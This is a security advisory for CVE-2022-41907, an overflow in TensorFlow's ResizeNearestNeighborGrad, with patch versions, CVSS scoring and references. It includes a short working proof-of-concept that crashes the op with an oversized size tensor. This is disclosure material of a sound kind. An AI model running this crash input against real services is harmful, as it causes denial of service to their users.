Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS0zNjh2LTd2MzItNTJmeM4AAv_D

Overflow in `ResizeNearestNeighborGrad`

Impact

When tf.raw_ops.ResizeNearestNeighborGrad is given a large size input, it overflows.

import tensorflow as tf

align_corners = True
half_pixel_centers = False
grads = tf.constant(1, shape=[1,8,16,3], dtype=tf.float16)
size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
tf.raw_ops.ResizeNearestNeighborGrad(grads=grads, size=size, align_corners=align_corners, half_pixel_centers=half_pixel_centers)

Patches

We have patched the issue in GitHub commit 00c821af032ba9e5f5fa3fe14690c8d28a657624.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.

Permalink: https://github.com/advisories/GHSA-368v-7v32-52fx
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNjh2LTd2MzItNTJmeM4AAv_D
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 10 months ago
Updated: 8 months ago

CVSS Score: 4.8
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H

Identifiers: GHSA-368v-7v32-52fx, CVE-2022-41907
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-368v-7v32-52fx
• https://nvd.nist.gov/vuln/detail/CVE-2022-41907
• https://github.com/tensorflow/tensorflow/commit/00c821af032ba9e5f5fa3fe14690c8d28a657624
• https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/resize_nearest_neighbor_op.cc
• https://github.com/advisories/GHSA-368v-7v32-52fx

Affected Packages